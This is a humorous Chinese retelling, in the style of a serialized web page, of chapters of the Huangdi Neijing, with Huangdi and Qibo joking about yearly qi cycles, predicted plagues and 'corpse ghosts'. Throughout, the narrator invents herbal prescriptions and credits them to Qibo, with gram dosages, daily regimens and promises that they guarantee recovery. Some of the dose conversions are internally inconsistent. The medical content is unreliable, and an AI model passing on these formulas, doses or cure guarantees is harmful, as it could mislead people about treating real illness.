而地面呢，已经悄悄地换了班，太阴湿土（想象一下，大地母亲披上了一层湿润的泥土外衣，温柔又滋养）开始掌权。去年那个少阴君火（热情的小火苗）呢，就乖乖地退到了一边，当起了配角。这样一来，天空中是阳明燥金，地面上是太阴湿土，简直就是“天上地下，唯我独尊”的和谐共存嘛！但别忘了，这地下还得时不时地抬头看看天，学学天的样子，这就是“地下奉天”的道理啦。 接下来，咱们得聊聊一个超级有趣的组合——乙己相会。这可不是什么喝酒聚会的意思哦！乙是木，己是土，按照五行相生的道理，木应该是生土的，但这里偏偏出现了个“金运太虚”。简单来说，就是金的能量太弱了，结果被火给欺负了！这火啊，就像是班级里的小霸王，看到谁弱就欺负谁。所以啊，庚辰年虽然听起来是个“太过”的年份，但实际上呢，它并不那么威风凛凛，反而像是被火给“罩”住了。 这时候，如果你拿起一根叫做“姑洗”的古代管子（别想多了，这可不是吹泡泡的那种，而是用来测音律、反映气候变化的神秘工具），想要听听代表金的“太商”之音，却发现它一点反应都没有。为啥呢？因为火的势力太大了，把金的声音都给盖住了！这就像是你去ktv唱歌，结果麦克风被旁边的大嗓门给“抢”了风头。 接下来，有趣的事情就发生了。火太旺了，水就不干了，它得出来灭火啊，这就是“水复寒刑”。想象一下，一场突如其来的大雨浇灭了熊熊烈火，但同时也带来了寒冷。这不，乙庚两个小伙伴没配合好，结果三年后，金疫就来了！这金疫啊，就像是空气中的病毒，专门找那些免疫力弱的人麻烦。 那么，这金疫啥时候来呢？快的话，壬午年就来了；慢的话，得等到癸未年。这就好比是快递小哥送包裹，有时候快马加鞭，有时候慢悠悠的。但不管早晚，这包裹（金疫）总是会到的，躲不掉的。 那么，怎么判断这金疫的严重程度，是温柔的小感冒，还是凶猛的大瘟疫呢？这就得靠看“本年天数”和“太一”（古代天文术语，可以理解为宇宙间的一种神秘力量）的脸色了。说白了，就是得观察天文气象，结合人体感应，综合判断。 岐伯老先生捋了捋着长长的白胡子，接慢悠悠地说：“庚辰年啊，如果按照天地运行的规矩，庚金应该到辰时接班，成为掌管天空的大佬。可是呢，偏偏这时候，乙未这个小家伙，它本该乖乖退场的，却赖着不走，占据着少阴的位置。这就好比是职场交接，前任不走，新任咋上任呢？对吧！” “更有趣的是，乙和庚啊，它们在五行里可是不对付的，就像猫和老鼠，天生相克。乙呢，是柔弱的木属性，庚呢，是刚硬的金属性，这俩放在一起，那就是‘柔干失刚’，金运就变得有点小虚弱了。这就好比一个大力士突然变成了林黛玉，你说逗不逗？” “然后呢，这个金运小虚弱会带来啥后果呢？嘿，可别小看了这点虚弱，它可能会有点小胜利，但也可能什么都没干成就歇菜了。不过，别高兴得太早，三年之后，事情可就不那么简单了。这时候，会有一场叫做‘金疠’的大病爆发，听起来就像是金子做的瘟疫，其实呢，就是金运失调闹的。这病的症状啊，就跟金子一样，闪闪发光（开个玩笑），其实是各种金属性的病状，比如皮肤干燥、咳嗽不止之类的。” “怎么治疗呢？岐伯可说了，方法跟之前咱们学过的差不多，就是得根据五行相生相克的原理，调调阴阳，补补正气。首先啊，咱们得搞个‘黄金搭档’方剂，别误会，这可不是保健品广告哦！这个方剂呢，主要成分是金银花、黄芩、连翘这些清热解毒的好东西，再来点麦冬、百合润肺止咳，最后加点甘草调和药性。怎么配呢？按照古代一两等于现代5克的换算，金银花来个30克（6两），黄芩20克（4两），连翘也是20克（4两），麦冬、百合各15克（3两）， 甘草10克（2两）。怎么样，是不是感觉像是在调配一个神秘的魔法药剂？” “然后呢，服用方法也很重要，别以为是中药就可以随便喝。得按照时辰来，比如早晨阳气初生的时候喝一次，晚上阴气较重的时候再喝一次，这样能帮助药效更好地吸收，跟天地运行同步，是不是很神奇？” “说到脉象，岐伯可说了，这金疠的脉象啊，就像是秋天的落叶，飘飘悠悠，又轻又浮，还有点涩涩的感觉。就像是你摸到的不是血管，而是秋天的风，带着点凉意，还有点干燥。这时候，你就得注意了，可能是身体在告诉你，该补补肺气，润润燥了。” 本病论篇第七十三（十） 岐伯说啊，假如有那么一个年份，叫做壬午年，是个阳气爆棚的年份，就像咱们现在说的“热情如火”那种。但别急，这里还有个小插曲，前一年辛巳年呢，那天的能量多得用不完，就像你过年收到的红包多到数不过来一样。结果呢，就算时间走到了壬午年，天上的老大——厥阴风木（咱们可以想象成是天空的掌管者，喜欢吹吹风，搞点小气候）还依依不舍地赖着不走，说：“哎，我这还没玩够呢！” 这时候，地上的小伙伴们已经换了班，阳明燥金（地面上的新boss，喜欢干燥，偶尔还来点沙尘暴）来接手了。想象一下，天空还沉浸在厥阴风木的温柔乡里，而地面已经换上了阳明燥金的冷酷装扮，这简直就是一场“天堂与地狱”的混搭秀嘛！ 再来看个更逗的，丁和辛这两个小伙伴，它们本来是想联手搞个木运大狂欢的（木运，咱们可以理解为自然界的生长之力），结果却搞得太过虚弱，反而被金运（阳明燥金那个家伙）给欺负了。这就像是你本想开个生日派对，结果却变成了别人的主场，你说气不气人？ 岐伯继续揭秘：这时候啊，如果你用蕤宾这个音律的管子去测试（古代人真会玩，用音乐来测天气），本该响起的太角之音（代表木运的旋律）却哑火了，不响了。为啥？因为金运太强势，把木运给压得死死的，整个世界都变得干燥无比，连空气都仿佛在说：“渴啊，渴啊！” 然后呢，火运一看，哎呀，这金运也太嚣张了吧，于是它就来了个“复仇者联盟”行动，用火热之气来反击，就像是夏天突然来个热浪，让人直呼“热死了，热死了！”这种反击呢，要是狠一点，就来得快如闪电；要是温柔点，就慢悠悠地折磨你。 说到疫情，岐伯更是有一套。他说，疫情的严重程度，大小善恶，都得看这一年的天数和太一（可以理解为宇宙间的超级大佬，掌管一切）的心情。这简直就像是我们现在看天气预报，还得先拜拜龙王庙，求求它老人家别下雨，好让我们周末去郊游一样。 黄帝又问岐伯：“嘿，岐伯，你说这壬午年啊，就是天干壬和地支午碰头那年，按说这时候天地应该交接班，上天的壬午该来管事儿了，对吧？但要是地上的丁酉还没来得及撤退，地下的丙申这位少阳老兄也赖着不走，这算不算职场纠纷啊？”岐伯一听，哈哈一笑，说：“黄帝啊，你这比喻倒挺贴切。这可不只是职场纠纷，简直是天地间的‘换班大作战’嘛！” 岐伯接着讲：“你看，壬是水，丁是火，水火不容嘛，丁壬这俩家伙根本就不合拍，也就是不合德。这就好像两个性格不合的室友，住在一起肯定得吵架。结果呢，丁这个小火苗，温柔是温柔，但缺少了壬那种大水牛的刚劲儿，木运（就是五行里的木元素，管生长发育的）就变得有点虚弱了，咱们就叫它‘小虚’吧。这一虚可不得了，就像人免疫力下降，小病小灾就容易找上门。” 黄帝一听，眉头紧锁：“那这会咋样呢？”岐伯捋了捋长胡子，慢悠悠地说：“别急，别急。这小虚啊，一开始可能只是有点小打小闹，比如偶尔头疼脑热，吃点药就好了。但三年之后，嘿嘿，那可就不妙了，会直接演变成一种叫‘木疠’的大病。这木疠啊，症状跟风疫似的，传染得飞快，让人浑身不自在，跟被风刮得东倒西歪似的。” 黄帝一听，急了：“那可咋办？咱得想办法治啊！”岐伯点了点头，说：“治法嘛，其实跟之前讲的风疫差不多，就是要祛风解毒，调和气血。不过，既然是木疠，咱们还得加点专门对付木邪的药材，比如桑叶、菊花这些，它们就像是给身体里的树木修剪枝叶的园艺师，能让风邪无处遁形。” 说到这里，岐伯突然话锋一转，笑道：“黄帝啊，你知道吗？在古代，咱们可是连药方都要讲究天时地利的。比如这个方子，如果放在壬午年，那效果绝对是杠杠的！咱们来配一剂，不过记得，古代一两约等于现代5克哦。” 于是，岐伯开始开方子：“桑叶30克（6两），菊花30克（6两），防风20克（4两），白芷15克（3两），桔梗15克（3两），连翘15克（3两），甘草10克（2两）。把这些药材放到锅里，加水没过药材两指深，大火煮开转小火，慢慢熬个半小时，滤掉药渣，趁热喝，一天喝两次，保证你精神焕发，木疠病毒都得绕道走！” 黄帝一听，眼睛一亮：“这方子听起来就厉害！不过，岐伯大爷，你这方子里的药材，有没有什么特别的讲究啊？”岐伯嘿嘿一笑：“当然有啦！桑叶和菊花，那是清肝明目的好搭档，对付木邪那是手到擒来；防风和白芷，就像身体的挡风玻璃，能把风邪挡在门外；桔梗和连翘，则是清理呼吸道的高手，能让你的呼吸顺畅无阻；最后，甘草这位‘和事佬’，调和药性，让整个方子更加和谐。” 黄帝听得连连点头，突然又想起了什么：“岐伯，你说这脉象上，木疠会有什么特别的表现吗？”岐伯摸了摸下巴，认真思考了一番：“嗯，木疠的脉象啊，通常会有点弦，就像摸到一根紧绷的琴弦，这说明肝气不舒，风邪在体内捣乱呢。而且，可能还会有点浮，就像是水面上漂着的叶子，轻轻一碰就晃个不停，这说明病邪已经跑到体表了。这时候，咱们除了吃药，还得注意休息，别让身体太累，就像给手机充电一样，得让它有足够的能量去对抗病毒。” 岐伯大神开始了他的“年度天气大盘点”。他说啊：“假如，有那么一个戊申年，是个阳年，阳气旺盛得跟打了鸡血似的，就像之前的丁未年，那个天象也是火力全开，热得连蚊子都想穿短袖。但是呢，就算戊申年已经正式登场了，天空的老大——太阴，哦不，是太岁星君（古代中医用天干地支纪年，并赋予其五行属性及天地人对应关系，这里‘太阴’或指上一年的太岁属性），它还依依不舍地赖在‘天庭ceo’的位置上不肯下来。 地面上呢，早就悄悄地换了班，厥阴成了地下的老大，也就是咱们说的‘在泉之气’。去年壬戌年那会儿，太阳老大已经乖乖地把位置让给了右间（中医术语，指一年之中五行之气运行到某一特定位置），天空中是丁未年的气在当家，地面上则是癸亥年的气在主导。结果呢，这天地俩哥们儿，就像是开会忘了对表，完全没对上频道！ ‘丁癸’这俩货一碰面，就像油遇见了水，火花四溅但就是不来电。按照五行相克的说法，火（丁）本该克水（癸），但这回火运弱得跟风中残烛似的，反被水给欺负了。你说这戊申年吧，本来应该是个热情似火的年份，结果却变成了个‘伪阳年’，就像吃火锅忘了放辣椒，那叫一个清淡！ 这时候，要是你拿起夷则这支古乐器（古代音乐与天文历法紧密相连，夷则对应一定的音律和季节），想弹个太徵的调调（也是五行对应的音乐调性），嘿，你会发现，根本不对劲，根本弹不出那种激昂的感觉！为啥？因为戊癸这俩哥们儿没配合好，就像是乐队里少了主唱，整个演出垮掉一半。 岐伯接着爆料：这种戊癸‘失联’的情况，可不是小事儿，它预示着三年后，可能会有场大瘟疫！哎呀妈呀，这不是开玩笑的吧？这可不是双十一打折促销，而是关乎生死存亡的大事啊！咱们得赶紧算算，到了庚戌年，这瘟疫是温柔的小猫咪，还是凶猛的大老虎？ 这时候，咱们得拿出中医的绝活儿——推算！不仅要算天数，还得看太一（古代天文学概念，指宇宙间的主宰力量）的脸色。这可比算星座运势难多了，简直就是中医版的《星际穿越》嘛！ 想象一下，如果岐伯大神活在今天，他肯定会开个直播，标题就叫：“【岐伯直播间】戊癸cp失和，三年后疫情大预测！你准备好了吗？”然后，他一边捋着长白胡子，一边拿着龟甲兽骨（古代占卜工具），一边还得时不时看看弹幕，回答粉丝们的问题：“老铁，我这算的是全球疫情还是局部的啊？”“岐伯大大，戴口罩能防不？” 岐伯又接着说：“哎，你们知道吗？就说那个戊申年吧，就像戊这家伙跑到申的地盘去，准备交接权力，开始掌管天庭一样。但是呢，下面的癸亥年却迟迟不肯让位，为啥？因为它上面的壬戌年，那个太阳老大还没退休呢！这就叫‘戊癸不合德’，就像是两个领导同时出现，结果谁也没干成事儿。” “咱们再瞅瞅这个癸，它可是个温柔的家伙，少了点阳刚之气。结果呢，火运这家伙就变得有点小虚弱，就像是吃火锅没放辣椒，少了点劲儿。这样一来，小火苗偶尔还能蹦跶两下，但大多数情况下都是软绵绵的，没啥大作为。所以啊，接下来的三年，可就得小心了，因为这种微弱的火运容易引发一种叫做‘火疠’的疾病，听着就让人上火，对吧？” “治疗这火疠啊，方法跟之前咱们讲过的差不多，不过这次得给它来点‘冰镇疗法’！对，你没听错，就是得让它凉快凉快。具体怎么做呢？咱们可以用一些寒性的药物来泄泄火，就像是给身体里的火炉浇上一盆冷水。” 说到这，我得插个题外话，咱们中医的穴位啊，就像是身体上的秘密通道，按对了地方，那效果可是杠杠的！如果真有“火疠”这种东东，咱们或许可以按按“涌泉穴”，那可是肾经的起点，按一按，保证你“火”气全消，哈哈！ 接下来啊，给你们整一个听起来就让人直呼过瘾的——“冰火两重天汤”！想象一下，这汤名儿，是不是感觉喝完之后，身体里头既能感受到北极的冰冷，又能体验到沙漠的炽热？哈哈，开个玩笑，但咱们这方子，效果还真有那么点意思！ 首先啊，咱们得备点寒性的药材，就像那些能瞬间扑灭你内心小火苗的高手。黄连、黄柏，这俩哥们儿，简直就是降火界的“哼哈二将”，各来上10克，保证你体内的那股燥热得老老实实的。不过啊，古时候的一两大约等于现在的5克，咱们就按照这个老规矩来换算，别整得跟做实验似的那么精确。 然后呢，为了让这药汤别苦得你直皱眉，咱们得加点甘草进去，它就像个和事佬，能把那些个药材的性子都给调和得服服帖帖的。5克的甘草，不多不少，刚好能让这汤的味道变得柔和那么一点点。 最后啊，咱们得讲究个平衡，不能光顾着降火，把自个儿整成个“冰人”了。所以啊，加点温热的药材来平衡一下，肉桂就是个不错的选择。3克的肉桂，既能暖身，又不会让那寒性的药材占了上风，简直就是这“冰火两重天汤”里的点睛之笔！ 好了，方剂说完，岐伯接着说：“这治疗啊，就像谈恋爱，得对症下药，不能一刀切。每个人的体质不同，有的人是‘易燃易爆’型，有的人则是‘慢热型’。所以啊，治疗火疠，也得看火候，不能一股脑儿地‘灭火’，得慢慢来，不然把火灭了，人也凉了，那就不妙了！” 说到脉象，这可是中医的绝活之一。咱们中医看病，除了望闻问切，还得摸摸你的脉，就像是给身体做个“心电图”。这脉象啊，也是千奇百怪，有的快得像跑车，有的慢得像蜗牛。如果得了火疠，脉象往往是洪大有力的，就像是夏天中午的太阳，热得让人受不了。这时候，咱们就得赶紧想办法给它“降降温”，不然，嘿嘿，小心身体给你来个“自燃”哦！ 本病论篇第七十三（十一） 话说有一天，黄帝闲着没事，就跟岐伯聊起了天。黄帝一脸认真地问道：“岐伯啊，你说要是人的精力不足，就像是天空失去了光芒一样，人的精神就会失控，连灵魂都聚不拢来。这样一来，那些邪门歪道的鬼魂就容易找上门，导致人莫名其妙地就挂了。这到底是咋回事啊？你给我说道说道。” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得有意思。咱们人体里的五脏，就像五个小团队，每个团队都得齐心协力才能干好活。要是其中一个团队弱了，比如心脏这个老大不行了，那就容易出问题。更巧的是，要是这时候再赶上天气也不给力，比如少阴司天的时候，天气本身就有点虚，再加上太阴之气时不时地来捣乱，这就叫‘天虚’。这样一来，人体的虚和天气的虚就碰一块儿了，双虚合一，能不倒霉吗？” 黄帝一听，瞪大了眼睛：“这么神奇？那接下来呢？” 岐伯接着说：“别急嘛，还有更逗的呢。要是这时候，这个人再整天愁眉苦脸的，想东想西，那心脏可就真受伤了。心脏可是咱们身体的老大，管着神志呢。就像公司领导一样，得时刻保持清醒。可要是心脏受伤了，神志就不稳了，这就叫‘神明失守’。一旦神志失守，这灵魂啊，就可能到处乱窜，跑到上丹田去了，那可是咱们脑袋里的高级区域，帝太一帝君和泥丸宫都在那儿呢。灵魂一去那儿，可就回不来了。” 黄帝一听，笑得差点岔气：“这灵魂还玩离家出走呢！” 岐伯也忍不住笑了：“可不是嘛。而且啊，这时候要是再遇到点惊吓，比如突然有人大喊一声，或者看到什么吓人的东西，这人就可能吓得魂飞魄散，连精子都吓出来了，哈哈，这可不是我说的啊，是古书上这么写的。这样一来，心脏、神志、身体都虚了，三虚合一，那就更完蛋了。” 黄帝一听，笑得前仰后合：“这可真够惨的。那接下来呢？灵魂离家出走后会发生什么？” 岐伯说：“灵魂离家出走后，神光就聚不拢了，就像灯泡坏了，灯不亮了。这时候，要是再赶上五行中火气不足的年份，那可就有意思了。会有一种叫‘黑尸鬼’的东西出现，听起来挺吓人的吧？其实就是一种无形的邪气啦。这黑尸鬼一出现，人就容易突然死亡，就像被鬼附身了一样。” 黄帝一听，瞪大了眼睛：“这……这也太离奇了吧？那我们怎么预防呢？” 岐伯说：“预防嘛，首先得养好五脏，特别是心脏这个老大。你得让它吃好、喝好、休息好，别整天让它加班加点地干活。还有啊，别整天愁眉苦脸的，要学会乐观向上，这样心脏才会开心嘛。还有啊，要是遇到天气不好的时候，比如少阴司天、太阴作接的年份，你得注意点，别让自己太累了，多休息休息。” 黄帝一听，点了点头：“嗯，有道理。那要是真遇到黑尸鬼了怎么办呢？” 岐伯哈哈一笑：“黄帝啊，你还真当真了？这黑尸鬼啊，其实就是一种比喻啦。你要是真的遇到了，那就得赶紧找医生看看啦。不过啊，咱们中医讲究的是预防为主，等你真的遇到黑尸鬼了，那就有点晚了。” 黄帝一听，也忍不住笑了：“哈哈，你说得对。那咱们还是好好养生吧，别让那些邪门歪道的东西找上门来。” 说到这里，黄帝突然想到了什么：“岐伯啊，你说咱们中医的穴位是不是也跟这个有关系啊？比如哪个穴位能养心、哪个穴位能安神？” 岐伯一听，点了点头：“黄帝啊，你还真问到点子上了。中医的穴位啊，那可都是宝贝。比如咱们手上的内关穴，那可是养心安神的好穴位。你要是觉得心里不舒服、烦躁不安，就可以按按这个穴位，保管你心情立马好起来。” 黄帝一听，眼睛一亮：“真的吗？那我得试试。” 岐伯接着说：“还有啊，像脚底的涌泉穴，那可是肾经的起点，多按按这个穴位，能补肾益气、强身健体。还有头顶的百会穴，那可是诸阳之会，多按按这个穴位，能提神醒脑、升阳举陷。” 黄帝一听，笑得合不拢嘴：“哈哈，岐伯啊，你可真是我的福星啊。下次我再遇到那些邪门歪道的东西，我就按按这些穴位，看它们还敢不敢来找我麻烦！” 岐伯一听，也忍不住笑了：“黄帝啊，你可别真把穴位当万能的啊。养生啊，还得靠平时的积累和多方面的努力才行。” 岐伯又说道：“人啊，要是吃得太多，工作又拼命，那脾脏可就要遭殃了！”这话怎么讲呢？原来啊，脾脏就像是我们身体里的一个小管家，它负责消化食物，把营养输送到全身各处。但你要是老让它加班加点，它可就要闹情绪，直接“罢工”了！ 而且啊，这事儿还没完。要是再赶上个“太阴司天”的年份（听起来是不是很玄乎？其实就是天文学上的一种说法，表示那一年天气变化比较剧烈），天上的“能量”（我们可以理解为自然界的某种力量）不够强，那少阳（又是啥？别急，你可以理解为一种阳气）就会趁机“插队”，搞得天地间一片混乱，这就叫“天虚”。 这时候啊，人体内的正气也跟着虚弱起来，简直就是“屋漏偏逢连夜雨”。再加上你吃得太多，胃里的热气直往外冒，汗如雨下；或者喝得酩酊大醉，还非要跟另一半“深入交流”，结果脾也累得直冒汗。这样一来，你的脾脏就彻底“崩溃”了，脾神也跑路了！ 脾神啊，它可不是一般的神，它是咱们身体里的“谏议之官”，专门负责出谋划策，让我们变得聪明伶俐。但现在呢？脾神一跑，咱们就变得迷迷糊糊，反应迟钝，就像是丢了魂儿一样。 更糟糕的是，要是再碰上“土不及”的年份（在五行学说里，脾属土），比如己年或甲年，天上的“土能量”也不给力，那可就真是雪上加霜了。这时候啊，要是再被什么“青尸鬼”（听起来是不是很吓人？其实只是古人对某种病邪的想象）盯上，嘿嘿，那你可就惨了，说不定哪天就突然“领盒饭”了呢！ 那么，怎么保护脾脏呢？别急，我这就给你支几招！ 首先啊，你得记住“三分饥寒保平安”。别老是吃得太多、太好，要让脾脏有休息的时间。就像咱们工作一样，老是加班加点，谁受得了啊？脾脏也一样，你得让它有时间去消化、去吸收、去恢复元气。 其次呢，要保持良好的生活习惯。别老是熬夜、喝酒、抽烟啥的，这些都会伤害脾脏。你得让脾脏在一个健康、舒适的环境里工作，它才能尽心尽力地为你服务嘛！ 还有啊，你可以尝试一些中医的养生方法。比如按摩穴位啦、吃点中药啦啥的。说到按摩穴位啊，我得给你推荐一个超级有用的穴位——“足三里”。这个穴位啊，在咱们小腿的外侧，离膝盖大概有三个手指头的距离。你每天按摩这个穴位几分钟啊，就能促进脾胃的消化吸收功能，让你的脾脏更加强壮！ 岐伯慢悠悠地捋着胡子说：“你们知道吗？人啊，要是老坐着不动，还专挑那些湿漉漉的地儿坐，再猛地一下跳进水里，嘿，这肾啊，可就遭殃了！”咱们这肾啊，可不是一般的器官，它是咱们身体的“大力士”，负责给咱们加油打气，让咱们有力气干活，脑子也灵光，能想出各种妙招来。这就好比是手机的电池，电量足了，啥都能干，对吧？ 但是呢，一旦这肾被“坑”了，那可就是“三虚”临门了——啥是三虚？就是肾气虚、肾精虚、肾阳虚，这三个小家伙一不齐心，咱们的身体可就乱套了。肾神呢，就像是咱们身体的“大管家”，它一失职，咱们的大脑就开始“罢工”，思绪乱飞，眼神迷离，整个人就像是被抽离了灵魂一样，飘飘欲仙（但可不是那种美好的感觉哦）。 更绝的是，如果这时候再碰上“水不及”的年份，啥是“水不及”？咱们可以想象成是大自然的“水库”水位低了，气候干燥，万物缺水。这时候，要是再赶上点儿背，比如“辛金”和“丙火”这两个小淘气没配合好，或者太阳这个“大Boss”在天空中值班时力量不足，哎呀，那可真是屋漏偏逢连夜雨，雪上加霜啊！ 这时候，传说中有个叫“黄尸鬼”的家伙就可能趁机出来捣乱（当然啦，这只是古人的一种形象比喻，别被吓到哦）。这家伙一来，嘿，那可真是不得了，能让人突然之间就“领盒饭”了，你说吓人不吓人？ 不过呢，咱们也别太担心，毕竟咱们是现代人，有科学有知识，还有一堆老祖宗留下来的宝贝呢！比如说，要是感觉肾有点儿“虚”了，咱们可以试着补补。别急着去买那些昂贵的保健品，岐伯爷爷可没说过那些。咱们可以自己动手，做点简单的药膳来调理。 比如说，来个“枸杞炖猪腰”怎么样？把猪腰子处理干净，切上几片枸杞（大约10克，也就是两钱，古代一两等于现代5克，自己换算一下哈），再放点姜片去腥，加点清水，小火慢炖个把小时，那味道，啧啧，既鲜美又补肾，简直是“肾宝”级别的享受啊！ 说到脉象，这可是中医的绝活之一。咱们普通人虽然不一定能摸得准，但了解一下也是挺有意思的。比如说，肾气虚的时候，脉象可能会显得比较“细弱”，就像是细线一样，摸起来软绵绵的，没力气。这时候，咱们就得注意了，得赶紧给肾“加油”了。 岐伯悠悠地说：“哎，你知道吗？有些人啊，一生气，那怒气就像被按了反弹键，噌噌噌地往上冲，根本停不下来，结果呢？肝脏就倒霉了，成了直接的受害者。这还没完，要是再赶上那个‘厥阴司天’（咱们可以理解为自然界的某种能量场吧）不太给力，就像天公不作美，原本该来的‘少阴’能量（可以理解为另一种平衡力量）却时不时来串门，搞得天地间一片‘天虚’（就是自然界的能量空虚啦）。这时候，人体也跟着虚弱起来，简直就是‘天虚人更虚’的双重打击啊！” “然后呢，这人要是再倒霉点，比如突然来个百米冲刺，或者被吓了个魂飞魄散，那汗水就跟开了闸似的，特别是从肝经那块儿冒出来。肝啊，那可是咱们身体的‘将军之官’，负责出谋划策的，这一吓可好，‘将军’的宝座都坐不稳了，思维混乱，眼神迷离，整个人的气场都散了。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ “更神奇的是，如果这时候再赶上五行里的‘木’元素（代表生长、生发之力）不够旺盛的年份，比如丁年（古代纪年法，咱们就理解为某个特定的年份吧）和壬年（同理）没按规矩出牌，或者‘厥阴司天’本身就虚得不行，那可就有意思了——传说中会有‘白尸鬼’现身哦！（别紧张，这只是古人用来形容极端不利情况的一种夸张说法）结果呢？有的人就这么突然之间，嗖的一下，没了！是不是听起来比看恐怖片还刺激？” 哈哈，看到这里，是不是已经笑得前仰后合了？但别急，咱们还得继续深挖，让这段古老的知识变得更接地气，更有趣！ 首先，咱们聊聊“怒伤肝”。在中医里，肝主疏泄，喜欢条达，你要是老生气，肝就堵了，像高速公路上堵了车，那心情能好吗？所以啊，小伙伴们，生气真的伤身，记得常笑笑，让肝也透透气。 再来说说“厥阴司天”和“少阴”这些高大上的词。咱们可以把它们想象成自然界的两位大佬，一个管阴天（厥阴），一个管稍微晴点的天（少阴）。如果阴天大佬（厥阴司天）没力气了，晴天大佬（少阴）就趁机来凑热闹，结果天气就不稳定了，人体也跟着乱套。 至于“天虚人虚”，咱们可以理解为自然界的能量不足，人体的免疫力也跟着下降，这时候就特别容易生病。所以啊，平时得多吃点好的，比如枸杞、红枣补补，增强免疫力，别让身体成了“纸老虎”。 说到“疾走恐惧，汗出于肝”，这个嘛，咱们可以理解为剧烈运动或者受到惊吓时，肝经区域的汗水会特别多。肝经上有个穴位叫“太冲穴”，位于脚背上，生气或者紧张的时候，可以按按这里，帮你疏肝理气，舒缓情绪。 至于“木不及年”，咱们可以想象成自然界的树木长得不够茂盛，对应的，人体内的肝气也不足。这时候，你可以尝试喝点“逍遥散”来调理。逍遥散这个方子，简直就是给“易怒族”定制的解药，由柴胡、当归、白芍、白术、茯苓、甘草组成，每种药材大约10克（古代一两约等于现代5克），水煎服，每天一剂，连续喝几天，保证你心情大好，肝气顺畅。 岐伯总结道：“要是上面那五种‘守不住’的情况发生，那可就是天地灵气弱，咱们人体的小宇宙也跟着虚了。这灵魂就像是在外太空迷航的小飞船，找不到回家的路，结果呢？五路妖魔鬼怪（咱们就叫它们‘五尸鬼’吧）就趁机而入，搞得咱们措手不及，说不定哪天就‘嗖’地一下，灵魂出窍，人就没了，这在古代啊，就叫‘尸厥’！” 想象一下，你正美滋滋地吃着火锅唱着歌，突然间，身体里的“小卫士”们（也就是咱们的五脏六腑之神）玩起了大挪移，原本该守门的跑去巡逻了，该巡逻的却跑去睡觉了，这下可好，身体的“神光”（咱们可以理解为生命力的小灯泡）就不亮了，变得黯淡无光。可不是嘛，不光是那些“五尸鬼”，就连路边随便飘来的小妖小怪都能欺负到你头上，为啥？还不是因为咱们的“守护神”不在岗嘛！ 至真要大论篇第七十四（一） 黄帝一见面，就迫不及待地开腔了：“岐伯啊，我听说这五气——金木水火土，它们在天地间交合变化，一会儿盈满，一会儿亏虚，跟咱们人体的生理病理还息息相关，这个我已经get到了。但是，我还听说有个六气分治的说法，说它们分别掌管着天地间的气候变化，这六气到底啥时候来上班，啥时候下班啊？你能不能给我科普一下？” 岐伯一听，心里暗笑：“黄帝啊黄帝，你这求知欲真是旺盛得跟春天的野草似的。”但他脸上还是一脸恭敬，拜了两拜，慢悠悠地说：“哎呀，陛下这问题问得，真是高屋建瓴，直指要害啊！这可是天地间的大事儿，也是咱们人和天地万物之间沟通的桥梁呢。” 黄帝一听，心里那个美呀，心想：“嘿，我这问题问得还不错嘛，连岐伯都夸了。” 岐伯接着说：“咱们先说说这六气吧，它们就是风、寒、暑、湿、燥、火。这六位爷啊，可不是吃素的，它们轮流上岗，掌管着一年四季的天气变化，还直接影响到咱们人体的健康呢。” 黄帝一听，眼睛瞪得跟铜铃似的：“哦？愿闻其详。” 岐伯清了清嗓子，开始了他的爆笑讲解：“先说这风大爷吧，春天的时候它最活跃。它一来，万物复苏，花儿都笑开了颜，人们也都喜欢出去踏青，感受它的温柔。但是呢，风大爷也有调皮的时候，它要是吹得太猛，咱们就容易感冒，头疼脑热的。所以啊，春天得注意防风，别让风大爷给吹感冒了。” 黄帝一听，哈哈大笑：“原来风大爷还有这么两面性呢。” 岐伯接着说：“再说这寒小弟，冬天是它的主场。它一来，整个世界都冻成了冰疙瘩，咱们得穿厚衣服，喝热汤，不然就得被冻得直哆嗦。寒小弟要是太过分，咱们就容易得关节炎、感冒啥的。所以啊，冬天得注意保暖，别让寒小弟给冻坏了。” 黄帝点头称是，又问：“那暑大哥呢？” 岐伯笑道：“暑大哥夏天最威风，它一来，咱们就得找凉快地儿待着，不然就得中暑。它要是太热情了，咱们就容易上火，长痘痘，口腔溃疡啥的。所以啊，夏天得注意防暑降温，多喝水，别让暑大哥给烤熟了。” 黄帝一听，笑得前仰后合：“你这比喻，真是太逗了。” 岐伯继续：“再说这湿妹妹吧，她呢，喜欢春天和夏天来凑热闹。她一来，空气就变得潮乎乎的，咱们就容易得湿疹、关节炎啥的。所以啊，潮湿天气得注意通风干燥，别让湿妹妹给黏上了。” 黄帝一听，又乐了：“湿妹妹，这称呼还挺亲切的。” 岐伯接着说：“燥哥哥秋天最忙，它一来，树叶都黄了，天气也干燥了。咱们得注意补水，不然皮肤就干了，喉咙也疼了。燥哥哥要是太厉害，咱们就容易得咳嗽、便秘啥的。所以啊，秋天得注意润燥，多吃水果蔬菜，别让燥哥哥给榨干了。” 黄帝一听，笑得合不拢嘴：“你这讲解，真是既生动又有趣。” 岐伯最后说：“至于火大爷嘛，它可是个不定时炸弹，一年四季都可能来捣乱。它一来，咱们就容易上火，口腔溃疡、喉咙痛、便秘啥的都找上门来了。所以啊，咱们得注意饮食清淡，多吃蔬菜水果，少吃辛辣油腻，别让火大爷给烧着了。” 黄帝有一天闲来无事，决定找岐伯聊聊天，探讨一下宇宙的奥秘与人体健康的联系。黄帝清了清嗓子，说：“嘿，岐伯，我一直很好奇，那天上的星辰变化，和咱们人体里的那些小秘密，到底是怎么对上号的？” 岐伯一听，眼睛一亮，笑道：“哈哈，黄帝陛下，您这可是给我出了个大难题啊！不过嘛，既然您都开口了，那我就来试试，把这天人合一的道理，讲得比相声还逗乐！” 黄帝拍手叫好：“来来来，赶紧的，我耳朵已经洗干净了，就等着听您这宇宙级段子呢！” 岐伯故作神秘地说：“这事儿啊，得先从天上的‘六气’说起。你想啊，咱们头顶上那片天，它可不是吃素的，它有六个大佬轮流坐庄，每个大佬都有自己的独门绝技——风、热、湿、火、燥、寒。这六位大佬，就像六个性格迥异的dj，每年换一个来主宰气候的节奏。” 黄帝一听，乐了：“哟呵，这天宫还挺会玩的嘛！那这些dj大佬，是怎么跟咱们人体里的零件对上号的呢？” 